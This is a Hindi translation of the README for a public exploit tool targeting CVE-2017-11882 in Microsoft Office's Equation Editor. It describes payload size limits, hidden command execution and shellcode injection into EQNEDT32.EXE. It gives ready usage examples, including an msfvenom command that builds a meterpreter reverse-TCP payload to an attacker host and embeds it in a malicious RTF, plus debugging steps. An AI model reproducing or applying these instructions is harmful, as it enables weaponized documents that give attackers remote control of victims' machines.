
CVE-2017-11882 एक्सप्लॉइट अधिकतम 17k बाइट्स लंबे कमांड/कोड को स्वीकार करता है।
CVE-2017-11882 शोषण अधिकतम 17k बाइट्स लंबे कमांड/कोड को स्वीकार करता है।
दूरस्थ कमांड निष्पादन के लिए, यह शोषण WinExec को SW_HIDE के साथ कॉल करेगा और WinExec के लौटने के बाद ExitProcess को कॉल करेगा।
दूरस्थ कोड निष्पादन के लिए, यह शोषण बस कोड पर जंप करता है।
मुझे ऑब्जेक्ट संरचना के लिए कोई संदर्भ नहीं मिल रहा है... इसलिए मैं मनमानी लंबाई के कोड निष्पादन के लिए फ़ाइल की लंबाई नहीं बदल सकता..:(
लेकिन मुझे लगता है कि 17k बाइट्स वास्तव में पर्याप्त हैं। Python स्क्रिप्ट आपके पेलोड आकार का पता लगाएगी और सही पेलोड टेम्पलेट चुनेगी।
चेतावनी: यदि आप किसी अन्य प्रक्रिया में माइग्रेट नहीं करते हैं तो RCE winword प्रक्रिया को अटका देगा!
वर्तमान में यह शोषण आपके शेलकोड को नई EQNEDT32.EXE प्रक्रिया में इंजेक्ट करेगा यदि आप -i फ्लैग निर्दिष्ट करते हैं। यह ऑपरेशन AV के लिए संदिग्ध है लेकिन यह वर्ड प्रक्रिया को नहीं अटकाएगा।
usage: CVE-2017-11882.py [-h] -c CMD [-t {0,1}] [-i INJECT] -o OUTPUT
Exploit for CVE-2017-11882 @unamer(https://github.com/unamer/CVE-2017-11882)
optional arguments:
-h, --help show this help message and exit
-c CMD, --cmd CMD Command or shellcode file to run in target system
(Must be shorter than 17967 bytes!!)
-t {0,1}, --type {0,1}
Type (0:shellcode 1:command, default=1)
-i INJECT, --inject INJECT
Inject shellcode to new process
-o OUTPUT, --output OUTPUT
Output exploit rtf
उदाहरण:
दूरस्थ कमांड निष्पादन के लिए
CVE-2017-11882.py -c cmd.exe -o test.rtf
दूरस्थ कोड निष्पादन के लिए
msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.0.115 LPORT=2333 -o ./sc.bin
CVE-2017-11882.py -c sc.bin -t 0 -i 1 -o test.rtf
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\EQNEDT32.EXE में अपने डिबगर पथ को डिबगर वैल्यू पर सेट करें।
एक शोषण बनाएं और इसे चलाएं।
0x41165f पर ब्रेक पॉइंट सेट करें।
यह ब्रेक पॉइंट दो बार हिट होगा, दूसरी बार इस फ़ंक्शन के लौटने के बाद पेलोड निष्पादित होगा।